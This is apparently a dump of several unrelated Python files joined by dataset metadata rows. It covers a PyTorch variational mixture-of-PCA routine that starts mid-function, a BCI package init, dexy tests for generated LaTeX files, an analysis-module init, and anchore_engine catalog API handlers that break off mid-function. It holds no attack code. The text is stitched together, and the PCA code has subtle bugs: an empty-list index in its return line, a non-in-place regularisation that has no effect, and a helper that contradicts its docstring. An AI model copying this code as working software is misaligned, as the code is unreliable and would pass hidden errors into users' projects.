l1 = l
if verbose < 2:
print('')
out = []
returns = returns.split('+')
for ret in returns:
if ret == 'latent':
out.append(z)
elif ret == 'basis':
out.append(u)
elif ret == 'var':
out.append(s)
elif ret == 'mean':
out.append(mu)
return out[0] if len(out) == 0 else tuple(out)
def _vmpca_tensor(x, k, l, mu=None, max_iter=100, tol=1e-5,
returns='latent+basis', verbose=False, rca=None):
""" Variational mixture of PCA
Implementation that assumes that all the data is in memory.
"""
# --- preproc ---
x = torch.as_tensor(x)
n, m = x.shape[-2:]
backend = utils.backend(x)
k = k or (min(x.shape[-1], x.shape[-2]) - 1)
has_rca = bool(rca)
rca = rca or (lambda x: x)
# subtract mean
nomu = isinstance(mu, (float, int)) and mu == 0
if mu is None:
mu = x.mean(-2)
mu = torch.as_tensor(mu, **backend)
mu = mu.unsqueeze(-2)
if not nomu:
x = x - mu
# --- helpers ---
def t(x):
"""Quick transpose"""
return x.transpose(-1, -2)
def get_diag(x):
"""Quick extract diagonal as a view"""
return x.diagonal(dim1=-2, dim2=-1)
def make_diag(x):
"""Quick create diagonal matrix"""
return torch.diagonal(x, dim1=-2, dim2=-1)
def trace(x, **kwargs):
"""Batched trace"""
return get_diag(x).sum(-1, **kwargs)
def make_sym(x):
"""Make a matrux symmetric by averaging with its transpose"""
return (x + t(x)).div_(2.)
def reg(x, s):
"""Regularize matrix by adding number on the diagonal"""
return reg_(x.clone(), s)
def reg_(x, s):
"""Regularize matrix by adding number on the diagonal (inplace)"""
get_diag(x).add_(s[..., None])
return x
def inv(x):
"""Robust inverse in double"""
dtype = x.dtype
x = x.double()
scl = get_diag(x).abs().max(-1)[0].mul_(1e-5)
get_diag(x).add(scl[..., None])
return linalg.inv(x).to(dtype=dtype)
def joint_ortho(zz, uu):
"""Joint orthogonalization of two matrices:
Find T such that T' @ A @ T and inv(T) @ B @ inv(T') are diagonal.
Since the scaling is arbitrary, we make A unitary and B diagonal.
"""
vz, sz, _ = torch.svd(zz)
vu, su, _ = torch.svd(uu)
su = su.sqrt_()
sz = sz.sqrt_()
vsz = vz * sz[..., None, :]
vsu = vu * su[..., None, :]
v, s, w = torch.svd(torch.matmul(t(vsz), vsu))
w *= s[..., None, :]
eu = get_diag(vu).abs().max(-1).values[..., None]
su = torch.max(su, eu * 1e-3)
vu /= su[..., None, :]
ez = get_diag(vz).abs().max(-1).values[..., None]
sz = torch.max(sz, ez * 1e-3)
vz /= sz[..., None, :]
q = vz.matmul(v)
iq = t(w).matmul(t(vu))
return q, iq
def logev(r, zz, uu, s, a, uuzz):
"""Negative log-evidence
r : (*batch) - squared residuals summed across N and M
zz : (*batch, K, K) - latent product (E[z @ z.T])
uu : (*batch, K, K) - basis product (E[u @ u.T])
s : (*batch) - Residual variance
"""
# It is not exactly computed in a EM fashion because we
# compute the posterior covariance of z and u inside the function
# (with the most recent sigma) even though sigma was updated while
# assuming the posterior covariance fixed.
r = (r/s).sum()
z = trace(zz).sum() # this should be n*k if optimal
u = trace(uu.matmul(a)).sum() # this should be m*k if optimal
# uncertainty
unc = ((trace(uu.matmul(zz)) - uuzz)/s).sum() # uncertainty in likelihood
az = uu/s[..., None, None]
get_diag(az).add_(1)
unc += az.logdet().sum() * n # -E[log q(z)] in KL
au = zz/s[..., None, None]
au += a
unc += au.logdet().sum() * m # -E[log q(u)] in KL
# log sigma
s = s.log().sum() * (n * m)
# log prior
a = -a.logdet().sum() * m
tot = (r + z + u + s + a + unc)
# print(f'{r.item() / (n*m):6f} | {z.item() / (n*m):6f} | '
# f'{u.item() / (n*m):6f} | {s.item() / (n*m):6f} | '
# f'{a.item() / (n*m):6f} | {unc.item() / (n*m):6f} | '
# f'{tot.item() / (n*m):6f}')
return 0.5 * tot / (n*m)
# --- initialization ---
# init residual var with 10% of full var
if has_rca:
s = (x * rca(x)).mean([-1, -2]).mul_(0.1)
else:
s = x.square().mean([-1, -2]).mul_(0.1)
# init latent with random orthogonal tensor
z = torch.randn([*x.shape[:-1], k], **backend)
z, _, _ = torch.svd(z, some=True)
zz = make_sym(t(z).matmul(z))
zz += torch.eye(k, **backend) * n
# init basis
im = inv(reg(zz, s))
u = im.matmul(t(z)).matmul(x)
uu = make_sym(u.matmul(t(rca(u))))
uuzz = trace(uu.matmul(make_sym(t(z).matmul(z))))
su = im * s[..., None, None]
uu += m * su
a = inv(uu/m)
# init log-evidence
if has_rca:
r = (x - z.matmul(u))
r = (r * rca(r)).sum([-1, -2])
else:
r = (x - z.matmul(u)).square_().sum([-1, -2])
l0 = l1 = logev(r, zz, uu, s, a, uuzz)
if verbose:
end = '\n' if verbose > 1 else '\r'
print(f'{0:3d} | {l0.item():6f}', end=end)
for n_iter in range(max_iter):
# update latent
im = inv(reg(uu, s))
z = x.matmul(t(rca(u))).matmul(im) # < E[Z]
zz = make_sym(t(z).matmul(z)) # < E[Z].T @ E[Z]
sz = im * s[..., None, None] # < Cov[Z[n]]
zz += n * sz # < E[Z.T @ Z]
# update basis
im = inv(zz + a*s[..., None, None])
u = im.matmul(t(z)).matmul(x)
uu = make_sym(u.matmul(t(rca(u))))
uuzz = trace(uu.matmul(make_sym(t(z).matmul(z))))
su = im * s[..., None, None]
uu += m * su
# update sigma
if has_rca:
r = (x - z.matmul(u))
r = (r * rca(r)).sum([-1, -2])
else:
r = (x - z.matmul(u)).square_().sum([-1, -2])
s = r + trace(uu.matmul(zz)) - uuzz
s /= (n*m)
# orthogonalize (jointly)
# For rescaling, writing out the terms that depend on it and
# assuming E[zz], E[uu], Sz, Su diagonal (which they are after
# joint diagonalization) and that A is immediately ML-updated shows
# that the optimal scaling makes E[zz] an identity matrix.
q, iq = joint_ortho(zz, uu)
zz = t(q).matmul(zz).matmul(q)
scl = get_diag(zz).div(n).sqrt_()
zz = torch.eye(k, **backend).mul_(n)
q /= scl[..., None, :]
iq *= scl[..., None]
uu = iq.matmul(uu).matmul(t(iq))
z = z.matmul(q)
u = iq.matmul(u)
# update A
a = inv(uu / m)
# update log-evidence
l = logev(r, zz, uu, s, a, uuzz)
gain = (l1-l)/(l0 - l)
if verbose:
end = '\n' if verbose > 1 else '\r'
print(f'{n_iter+1:3d} | {l.item():6f} | '
f'{gain.item():.3e} ({"-" if l < l1 else "+"})', end=end)
if abs(gain) < tol:
break
l1 = l
if verbose < 2:
print('')
out = []
returns = returns.split('+')
for ret in returns:
if ret == 'latent':
out.append(z)
elif ret == 'basis':
out.append(u)
elif ret == 'var':
out.append(s)
elif ret == 'mean':
out.append(mu)
return out[0] if len(out) == 0 else tuple(out)
| 33.477325 | 87 | 0.504477 | 6,190 | 43,554 | 3.507108 | 0.073506 | 0.004699 | 0.006633 | 0.008844 | 0.878622 | 0.868119 | 0.854438 | 0.849878 | 0.845364 | 0.843337 | 0 | 0.015688 | 0.33556 | 43,554 | 1,300 | 88 | 33.503077 | 0.734476 | 0.353217 | 0 | 0.891304 | 0 | 0 | 0.027693 | 0 | 0 | 0 | 0 | 0.001538 | 0 | 1 | 0.076087 | false | 0 | 0.002717 | 0 | 0.157609 | 0.016304 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
99491f0336fc5d2cc7c6e6f35018d7e971a36188 | 94 | py | Python | bci_lib/Stages/Preprocess/__init__.py | SahandSadeghpour/bci_lib | 0fac693d6fae40956d9a716d466e1de0fdce8998 | [
"MIT"
] | null | null | null | bci_lib/Stages/Preprocess/__init__.py | SahandSadeghpour/bci_lib | 0fac693d6fae40956d9a716d466e1de0fdce8998 | [
"MIT"
] | null | null | null | bci_lib/Stages/Preprocess/__init__.py | SahandSadeghpour/bci_lib | 0fac693d6fae40956d9a716d466e1de0fdce8998 | [
"MIT"
] | null | null | null | from .Preprocess import BandPassFilter, RawDataToEpochsData, TestTrainSplit, LaplacianFilter
| 47 | 93 | 0.87234 | 7 | 94 | 11.714286 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.085106 | 94 | 1 | 94 | 94 | 0.953488 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 1 | 1 | 0 | 1 | 0 | 1 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 7 |
41fab9926a27e88adc87d55ca93f2f4cc68395b9 | 4,882 | py | Python | tests/docs/test_user_docs.py | dsoto/dexy | 0f2090250040c3c54c8481a16de8e476b559e87c | [
"MIT"
] | 136 | 2015-01-06T15:04:47.000Z | 2021-12-21T22:52:41.000Z | tests/docs/test_user_docs.py | dsoto/dexy | 0f2090250040c3c54c8481a16de8e476b559e87c | [
"MIT"
] | 13 | 2015-01-26T14:06:58.000Z | 2020-03-27T21:16:10.000Z | tests/docs/test_user_docs.py | dsoto/dexy | 0f2090250040c3c54c8481a16de8e476b559e87c | [
"MIT"
] | 34 | 2015-01-02T16:24:53.000Z | 2021-11-27T05:38:30.000Z | from tests.utils import wrap
from dexy.node import DocNode
# Add New Files - Basic
def test_generated_files_not_added_by_default():
with wrap() as wrapper:
doc = DocNode("generate-data.py|py",
contents = """with open("abc.txt", "w") as f: f.write("hello")""",
wrapper=wrapper)
wrapper.run_docs(doc)
#assert not "Doc:abc.txt" in wrapper.batch.lookup_table
def test_generated_files_added_when_requested():
with wrap() as wrapper:
doc = DocNode("generate-data.py|py",
contents = """with open("abc.txt", "w") as f: f.write("hello")""",
py={"add-new-files" : True},
wrapper=wrapper)
wrapper.run_docs(doc)
#assert "DocNode:abc.txt" in wrapper.batch.lookup_table
def test_generated_files_added_when_requested_underscore():
with wrap() as wrapper:
doc = DocNode("generate-data.py|py",
contents = """with open("abc.txt", "w") as f: f.write("hello")""",
py={"add_new_files" : True},
wrapper=wrapper)
wrapper.run_docs(doc)
#assert "DocNode:abc.txt" in wrapper.batch.lookup_table
# Add New Files - Filter by Extension
LATEX = """\
\documentclass{article}
\\title{Hello, World!}
\\begin{document}
\maketitle
Hello!
\end{document}
"""
def test_generated_files_not_added_by_default_latex():
with wrap() as wrapper:
doc = DocNode("example.tex|latex",
contents = LATEX,
wrapper=wrapper)
wrapper.run_docs(doc)
#assert "DocNode:example.tex|latex" in wrapper.batch.lookup_table
#assert not "DocNode:example.aux" in wrapper.batch.lookup_table
#assert not "DocNode:example.log" in wrapper.batch.lookup_table
#assert not "DocNode:example.pdf" in wrapper.batch.lookup_table
def test_generated_files_added_latex():
with wrap() as wrapper:
doc = DocNode("example.tex|latex",
contents = LATEX,
latex = {'add-new-files' : True},
wrapper=wrapper)
wrapper.run_docs(doc)
#assert "DocNode:example.tex|latex" in wrapper.batch.lookup_table
#assert "DocNode:example.aux" in wrapper.batch.lookup_table
#assert "DocNode:example.log" in wrapper.batch.lookup_table
#assert "DocNode:example.pdf" in wrapper.batch.lookup_table
def test_generated_files_added_latex_log_ext():
with wrap() as wrapper:
doc = DocNode("example.tex|latex",
contents = LATEX,
latex = {'add-new-files' : '.log'},
wrapper=wrapper)
wrapper.run_docs(doc)
#assert "DocNode:example.tex|latex" in wrapper.batch.lookup_table
#assert not "DocNode:example.aux" in wrapper.batch.lookup_table
#assert "DocNode:example.log" in wrapper.batch.lookup_table
#assert not "DocNode:example.pdf" in wrapper.batch.lookup_table
def test_generated_files_added_latex_log_ext_array():
with wrap() as wrapper:
doc = DocNode("example.tex|latex",
contents = LATEX,
latex = {'add-new-files' : ['.log']},
wrapper=wrapper)
wrapper.run_docs(doc)
#assert "DocNode:example.tex|latex" in wrapper.batch.lookup_table
#assert not "DocNode:example.aux" in wrapper.batch.lookup_table
#assert "DocNode:example.log" in wrapper.batch.lookup_table
#assert not "DocNode:example.pdf" in wrapper.batch.lookup_table
def test_generated_files_with_additional_filters():
with wrap() as wrapper:
doc = DocNode("example.tex|latex",
contents = LATEX,
latex = {'add-new-files' : ['.aux'], 'additional-doc-filters' : { '.aux' : 'wc' } },
wrapper=wrapper)
wrapper.run_docs(doc)
#assert "DocNode:example.tex|latex" in wrapper.batch.lookup_table
#assert "DocNode:example.aux" in wrapper.batch.lookup_table
#assert "DocNode:example.aux|wc" in wrapper.batch.lookup_table
#assert not "DocNode:example.log" in wrapper.batch.lookup_table
#assert not "DocNode:example.pdf" in wrapper.batch.lookup_table
def test_generated_files_with_additional_filters_not_keeping_originals():
with wrap() as wrapper:
doc = DocNode("example.tex|latex",
contents = LATEX,
latex = {
'add-new-files' : ['.aux'],
'additional-doc-filters' : { '.aux' : 'wc' },
'keep-originals' : False
},
wrapper=wrapper)
wrapper.run_docs(doc)
#assert "DocNode:example.tex|latex" in wrapper.batch.lookup_table
#assert not "DocNode:example.aux" in wrapper.batch.lookup_table
#assert "DocNode:example.aux|wc" in wrapper.batch.lookup_table
#assert not "DocNode:example.log" in wrapper.batch.lookup_table
#assert not "DocNode:example.pdf" in wrapper.batch.lookup_table
| 41.372881 | 96 | 0.643794 | 617 | 4,882 | 4.941653 | 0.113452 | 0.146933 | 0.133158 | 0.190226 | 0.924893 | 0.924893 | 0.924893 | 0.912758 | 0.887832 | 0.887832 | 0 | 0 | 0.233716 | 4,882 | 117 | 97 | 41.726496 | 0.815023 | 0.372184 | 0 | 0.6 | 1 | 0 | 0.19123 | 0.02209 | 0 | 0 | 0 | 0 | 0 | 1 | 0.12 | false | 0 | 0.026667 | 0 | 0.146667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
5aa000cd65d9561d70d392e55d8fcad4c7cb0010 | 407 | py | Python | analysis/__init__.py | USECAP/ci-tools | ad2300e3297266ff3ee6ed9118ccd16fc05291e3 | [
"MIT"
] | null | null | null | analysis/__init__.py | USECAP/ci-tools | ad2300e3297266ff3ee6ed9118ccd16fc05291e3 | [
"MIT"
] | null | null | null | analysis/__init__.py | USECAP/ci-tools | ad2300e3297266ff3ee6ed9118ccd16fc05291e3 | [
"MIT"
] | null | null | null | """Module for code analysis functionality
"""
from .llvm_passes import LLVMAnalyzer
from .clang_analyzer import (ClangAnalyzer, FlagListFilter, analyze_main,
interpret_plist_reports,
interpret_plist_report)
__all__ = ['LLVMAnalyzer', 'ClangAnalyzer', 'FlagListFilter', 'analyze_main',
'interpret_plist_reports', 'interpret_plist_report']
| 45.222222 | 77 | 0.683047 | 36 | 407 | 7.277778 | 0.583333 | 0.21374 | 0.259542 | 0.290076 | 0.603053 | 0.603053 | 0.603053 | 0.603053 | 0.603053 | 0.603053 | 0 | 0 | 0.233415 | 407 | 8 | 78 | 50.875 | 0.839744 | 0.093366 | 0 | 0 | 0 | 0 | 0.265193 | 0.124309 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.166667 | 0.333333 | 0 | 0.333333 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 7 |
5aa895702b81382983a584c9b6890191f4236ad0 | 23,034 | py | Python | anchore_engine/services/catalog/api/controllers/default_controller.py | Talanor/anchore-engine | 5e809db1eb681f89670655c5bf9933eba50cf403 | [
"Apache-2.0"
] | null | null | null | anchore_engine/services/catalog/api/controllers/default_controller.py | Talanor/anchore-engine | 5e809db1eb681f89670655c5bf9933eba50cf403 | [
"Apache-2.0"
] | null | null | null | anchore_engine/services/catalog/api/controllers/default_controller.py | Talanor/anchore-engine | 5e809db1eb681f89670655c5bf9933eba50cf403 | [
"Apache-2.0"
] | null | null | null | import connexion
import time
from anchore_engine import db
import anchore_engine.services.catalog.catalog_impl
import anchore_engine.services.common
from anchore_engine.subsys import logger
def status():
httpcode = 500
try:
return_object = {
'busy': False,
'up': True,
'message': 'all good'
}
httpcode = 200
except Exception as err:
return_object = str(err)
return (return_object, httpcode)
def repo_post(regrepo=None, autosubscribe=False, lookuptag=None, bodycontent={}):
try:
request_inputs = anchore_engine.services.common.do_request_prep(connexion.request, default_params={'regrepo': regrepo, 'autosubscribe': autosubscribe, 'lookuptag': lookuptag})
with db.session_scope() as session:
return_object, httpcode = anchore_engine.services.catalog.catalog_impl.repo(session, request_inputs, bodycontent=bodycontent)
except Exception as err:
httpcode = 500
return_object = str(err)
return (return_object, httpcode)
def image_tags_get():
try:
request_inputs = anchore_engine.services.common.do_request_prep(connexion.request, default_params={})
with db.session_scope() as session:
return_object, httpcode = anchore_engine.services.catalog.catalog_impl.image_tags(session, request_inputs)
except Exception as err:
httpcode = 500
return_object = str(err)
return (return_object, httpcode)
def image_get(tag=None, digest=None, imageId=None, registry_lookup=False, history=False):
try:
request_inputs = anchore_engine.services.common.do_request_prep(connexion.request,
default_params={'tag': tag, 'digest': digest, 'imageId': imageId, 'registry_lookup': registry_lookup, 'history': history})
with db.session_scope() as session:
return_object, httpcode = anchore_engine.services.catalog.catalog_impl.image(session, request_inputs)
except Exception as err:
httpcode = 500
return_object = str(err)
return (return_object, httpcode)
def image_post(bodycontent={}, tag=None):
try:
request_inputs = anchore_engine.services.common.do_request_prep(connexion.request, default_params={'tag': tag})
with db.session_scope() as session:
return_object, httpcode = anchore_engine.services.catalog.catalog_impl.image(session, request_inputs, bodycontent=bodycontent)
except Exception as err:
httpcode = 500
return_object = str(err)
return (return_object, httpcode)
# @api.route('/image/<imageDigest>', methods=['GET', 'PUT', 'DELETE'])
def image_imageDigest_get(imageDigest):
try:
request_inputs = anchore_engine.services.common.do_request_prep(connexion.request, default_params={})
with db.session_scope() as session:
return_object, httpcode = anchore_engine.services.catalog.catalog_impl.image_imageDigest(session, request_inputs, imageDigest)
except Exception as err:
httpcode = 500
return_object = str(err)
return (return_object, httpcode)
def image_imageDigest_put(imageDigest, bodycontent):
try:
request_inputs = anchore_engine.services.common.do_request_prep(connexion.request, default_params={})
with db.session_scope() as session:
return_object, httpcode = anchore_engine.services.catalog.catalog_impl.image_imageDigest(session, request_inputs, imageDigest, bodycontent=bodycontent)
except Exception as err:
httpcode = 500
return_object = str(err)
return (return_object, httpcode)
def image_imageDigest_delete(imageDigest, force=False):
try:
request_inputs = anchore_engine.services.common.do_request_prep(connexion.request, default_params={'force':False})
with db.session_scope() as session:
return_object, httpcode = anchore_engine.services.catalog.catalog_impl.image_imageDigest(session, request_inputs, imageDigest)
except Exception as err:
httpcode = 500
return_object = str(err)
return (return_object, httpcode)
# @api.route('/registry_lookup', methods=['GET'])
def registry_lookup(tag=None, digest=None):
try:
request_inputs = anchore_engine.services.common.do_request_prep(connexion.request, default_params={'tag': tag, 'digest': digest})
with db.session_scope() as session:
return_object, httpcode = anchore_engine.services.catalog.catalog_impl.registry_lookup(session, request_inputs)
except Exception as err:
httpcode = 500
return_object = str(err)
return (return_object, httpcode)
# @api.route('/import', methods=['POST'])
def image_import(bodycontent):
try:
request_inputs = anchore_engine.services.common.do_request_prep(connexion.request, default_params={})
with db.session_scope() as session:
return_object, httpcode = anchore_engine.services.catalog.catalog_impl.image_import(session, request_inputs, bodycontent=bodycontent)
except Exception as err:
httpcode = 500
return_object = str(err)
return (return_object, httpcode)
# policy calls
# @api.route('/policies', methods=['GET', 'POST', 'PUT', 'DELETE'])
def policies_get(bodycontent):
try:
request_inputs = anchore_engine.services.common.do_request_prep(connexion.request, default_params={})
with db.session_scope() as session:
return_object, httpcode = anchore_engine.services.catalog.catalog_impl.policies(session, request_inputs, bodycontent=bodycontent)
except Exception as err:
httpcode = 500
return_object = str(err)
return (return_object, httpcode)
def policies_post(bodycontent):
try:
request_inputs = anchore_engine.services.common.do_request_prep(connexion.request, default_params={})
with db.session_scope() as session:
return_object, httpcode = anchore_engine.services.catalog.catalog_impl.policies(session, request_inputs, bodycontent=bodycontent)
except Exception as err:
httpcode = 500
return_object = str(err)
return (return_object, httpcode)
def policies_put(bodycontent):
try:
request_inputs = anchore_engine.services.common.do_request_prep(connexion.request, default_params={})
with db.session_scope() as session:
return_object, httpcode = anchore_engine.services.catalog.catalog_impl.policies(session, request_inputs, bodycontent=bodycontent)
except Exception as err:
httpcode = 500
return_object = str(err)
return (return_object, httpcode)
def policies_delete(bodycontent, cleanup_evals=True):
try:
request_inputs = anchore_engine.services.common.do_request_prep(connexion.request, default_params={'cleanup_evals': cleanup_evals})
with db.session_scope() as session:
return_object, httpcode = anchore_engine.services.catalog.catalog_impl.policies(session, request_inputs, bodycontent=bodycontent)
except Exception as err:
httpcode = 500
return_object = str(err)
return (return_object, httpcode)
# policy calls
# @api.route('/evals', methods=['GET', 'POST', 'PUT', 'DELETE'])
def evals_get(bodycontent):
try:
request_inputs = anchore_engine.services.common.do_request_prep(connexion.request, default_params={})
with db.session_scope() as session:
return_object, httpcode = anchore_engine.services.catalog.catalog_impl.evals(session, request_inputs, bodycontent=bodycontent)
except Exception as err:
httpcode = 500
return_object = str(err)
return (return_object, httpcode)
def evals_post(bodycontent):
try:
request_inputs = anchore_engine.services.common.do_request_prep(connexion.request, default_params={})
with db.session_scope() as session:
return_object, httpcode = anchore_engine.services.catalog.catalog_impl.evals(session, request_inputs, bodycontent=bodycontent)
except Exception as err:
httpcode = 500
return_object = str(err)
return (return_object, httpcode)
def evals_put(bodycontent):
try:
request_inputs = anchore_engine.services.common.do_request_prep(connexion.request, default_params={})
with db.session_scope() as session:
return_object, httpcode = anchore_engine.services.catalog.catalog_impl.evals(session, request_inputs, bodycontent=bodycontent)
except Exception as err:
httpcode = 500
return_object = str(err)
return (return_object, httpcode)
def evals_delete(bodycontent):
try:
request_inputs = anchore_engine.services.common.do_request_prep(connexion.request, default_params={})
with db.session_scope() as session:
return_object, httpcode = anchore_engine.services.catalog.catalog_impl.evals(session, request_inputs, bodycontent=bodycontent)
except Exception as err:
httpcode = 500
return_object = str(err)
return (return_object, httpcode)
# subscription calls
# @api.route('/subscriptions', methods=['GET', 'POST'])
def subscriptions_get(subscription_key=None, subscription_type=None):
try:
request_inputs = anchore_engine.services.common.do_request_prep(connexion.request, default_params={'subscription_key':subscription_key, 'subscription_type':subscription_type})
with db.session_scope() as session:
return_object, httpcode = anchore_engine.services.catalog.catalog_impl.subscriptions(session, request_inputs)
except Exception as err:
httpcode = 500
return_object = str(err)
return (return_object, httpcode)
def subscriptions_post(bodycontent):
try:
request_inputs = anchore_engine.services.common.do_request_prep(connexion.request, default_params={})
with db.session_scope() as session:
return_object, httpcode = anchore_engine.services.catalog.catalog_impl.subscriptions(session, request_inputs, bodycontent=bodycontent)
except Exception as err:
httpcode = 500
return_object = str(err)
return (return_object, httpcode)
# @api.route('/subscriptions/<subscriptionId>', methods=['GET', 'PUT', 'DELETE'])
def subscriptions_subscriptionId_get(subscriptionId):
try:
request_inputs = anchore_engine.services.common.do_request_prep(connexion.request, default_params={})
with db.session_scope() as session:
return_object, httpcode = anchore_engine.services.catalog.catalog_impl.subscriptions(session, request_inputs, subscriptionId=subscriptionId)
except Exception as err:
httpcode = 500
return_object = str(err)
return (return_object, httpcode)
def subscriptions_subscriptionId_put(subscriptionId, bodycontent):
try:
request_inputs = anchore_engine.services.common.do_request_prep(connexion.request, default_params={})
with db.session_scope() as session:
return_object, httpcode = anchore_engine.services.catalog.catalog_impl.subscriptions(session, request_inputs, subscriptionId=subscriptionId, bodycontent=bodycontent)
except Exception as err:
httpcode = 500
return_object = str(err)
return (return_object, httpcode)
def subscriptions_subscriptionId_delete(subscriptionId):
try:
request_inputs = anchore_engine.services.common.do_request_prep(connexion.request, default_params={})
with db.session_scope() as session:
return_object, httpcode = anchore_engine.services.catalog.catalog_impl.subscriptions(session, request_inputs, subscriptionId=subscriptionId)
except Exception as err:
httpcode = 500
return_object = str(err)
return (return_object, httpcode)
# eventlog calls
# @api.route('/events', methods=['GET', 'POST', 'DELETE'])
def events_get():
try:
request_inputs = anchore_engine.services.common.do_request_prep(connexion.request, default_params={})
with db.session_scope() as session:
return_object, httpcode = anchore_engine.services.catalog.catalog_impl.events(session, request_inputs)
except Exception as err:
httpcode = 500
return_object = str(err)
return (return_object, httpcode)
def events_post(bodycontent):
try:
request_inputs = anchore_engine.services.common.do_request_prep(connexion.request, default_params={})
with db.session_scope() as session:
return_object, httpcode = anchore_engine.services.catalog.catalog_impl.events(session, request_inputs, bodycontent=bodycontent)
except Exception as err:
httpcode = 500
return_object = str(err)
return (return_object, httpcode)
def events_delete():
try:
request_inputs = anchore_engine.services.common.do_request_prep(connexion.request, default_params={})
with db.session_scope() as session:
return_object, httpcode = anchore_engine.services.catalog.catalog_impl.events(session, request_inputs)
except Exception as err:
httpcode = 500
return_object = str(err)
return (return_object, httpcode)
# user calls
# @api.route("/users", methods=['GET'])
def users_get():
try:
request_inputs = anchore_engine.services.common.do_request_prep(connexion.request, default_params={})
with db.session_scope() as session:
return_object, httpcode = anchore_engine.services.catalog.catalog_impl.users(session, request_inputs)
except Exception as err:
httpcode = 500
return_object = str(err)
return (return_object, httpcode)
# @api.route("/users/<inuserId>", methods=['GET', 'DELETE'])
def users_userId_get(inuserId):
try:
request_inputs = anchore_engine.services.common.do_request_prep(connexion.request, default_params={})
with db.session_scope() as session:
return_object, httpcode = anchore_engine.services.catalog.catalog_impl.users_userId(session, request_inputs, inuserId)
except Exception as err:
httpcode = 500
return_object = str(err)
return (return_object, httpcode)
def users_userId_delete(inuserId):
try:
request_inputs = anchore_engine.services.common.do_request_prep(connexion.request, default_params={})
with db.session_scope() as session:
return_object, httpcode = anchore_engine.services.catalog.catalog_impl.users_userId(session, request_inputs, inuserId)
except Exception as err:
httpcode = 500
return_object = str(err)
return (return_object, httpcode)
# archive calls
# @api.route('/archive/<bucket>/<archiveid>', methods=['GET', 'POST'])
def archive_get(bucket, archiveid):
try:
request_inputs = anchore_engine.services.common.do_request_prep(connexion.request, default_params={})
with db.session_scope() as session:
return_object, httpcode = anchore_engine.services.catalog.catalog_impl.archive(session, request_inputs, bucket, archiveid)
except Exception as err:
httpcode = 500
return_object = str(err)
return (return_object, httpcode)
def archive_post(bucket, archiveid, bodycontent):
try:
# jsonbodycontent = json.loads(bodycontent)
request_inputs = anchore_engine.services.common.do_request_prep(connexion.request, default_params={})
with db.session_scope() as session:
# TODO HERE - some inputs are arrays of objects.....
return_object, httpcode = anchore_engine.services.catalog.catalog_impl.archive(session, request_inputs, bucket, archiveid, bodycontent=bodycontent)
except Exception as err:
httpcode = 500
return_object = str(err)
return (return_object, httpcode)
# system/service calls
# @api.route("/system", methods=['GET'])
def system_get():
try:
request_inputs = anchore_engine.services.common.do_request_prep(connexion.request, default_params={})
with db.session_scope() as session:
return_object, httpcode = anchore_engine.services.catalog.catalog_impl.system(session, request_inputs)
except Exception as err:
httpcode = 500
return_object = str(err)
return (return_object, httpcode)
# @api.route("/system/services", methods=['GET'])
def system_services_get():
try:
request_inputs = anchore_engine.services.common.do_request_prep(connexion.request, default_params={})
with db.session_scope() as session:
return_object, httpcode = anchore_engine.services.catalog.catalog_impl.system_services(session, request_inputs)
except Exception as err:
httpcode = 500
return_object = str(err)
return (return_object, httpcode)
# @api.route("/system/services/<servicename>", methods=['GET'])
def system_services_servicename_get(servicename):
try:
request_inputs = anchore_engine.services.common.do_request_prep(connexion.request, default_params={})
with db.session_scope() as session:
return_object, httpcode = anchore_engine.services.catalog.catalog_impl.system_services_servicename(session, request_inputs, servicename)
except Exception as err:
httpcode = 500
return_object = str(err)
return (return_object, httpcode)
# @api.route("/system/services/<servicename>/<hostId>", methods=['GET', 'DELETE'])
def system_services_servicename_hostId_get(servicename, hostId):
try:
request_inputs = anchore_engine.services.common.do_request_prep(connexion.request, default_params={})
with db.session_scope() as session:
return_object, httpcode = anchore_engine.services.catalog.catalog_impl.system_services_servicename_hostId(session, request_inputs, servicename, hostId)
except Exception as err:
httpcode = 500
return_object = str(err)
return (return_object, httpcode)
def system_services_servicename_hostId_delete(servicename, hostId):
try:
request_inputs = anchore_engine.services.common.do_request_prep(connexion.request, default_params={})
with db.session_scope() as session:
return_object, httpcode = anchore_engine.services.catalog.catalog_impl.system_services_servicename_hostId(session, request_inputs, servicename, hostId)
except Exception as err:
httpcode = 500
return_object = str(err)
return (return_object, httpcode)
# @api.route("/system/registries", methods=['GET', 'POST'])
def system_registries_get():
try:
request_inputs = anchore_engine.services.common.do_request_prep(connexion.request, default_params={})
with db.session_scope() as session:
return_object, httpcode = anchore_engine.services.catalog.catalog_impl.system_registries(session, request_inputs)
except Exception as err:
httpcode = 500
return_object = str(err)
return (return_object, httpcode)
def system_registries_post(bodycontent):
try:
request_inputs = anchore_engine.services.common.do_request_prep(connexion.request, default_params={})
with db.session_scope() as session:
return_object, httpcode = anchore_engine.services.catalog.catalog_impl.system_registries(session, request_inputs, bodycontent=bodycontent)
except Exception as err:
httpcode = 500
return_object = str(err)
return (return_object, httpcode)
# @api.route("/system/registries/<registry>", methods=['GET', 'DELETE', 'PUT'])
def system_registries_registry_get(registry):
try:
request_inputs = anchore_engine.services.common.do_request_prep(connexion.request, default_params={})
with db.session_scope() as session:
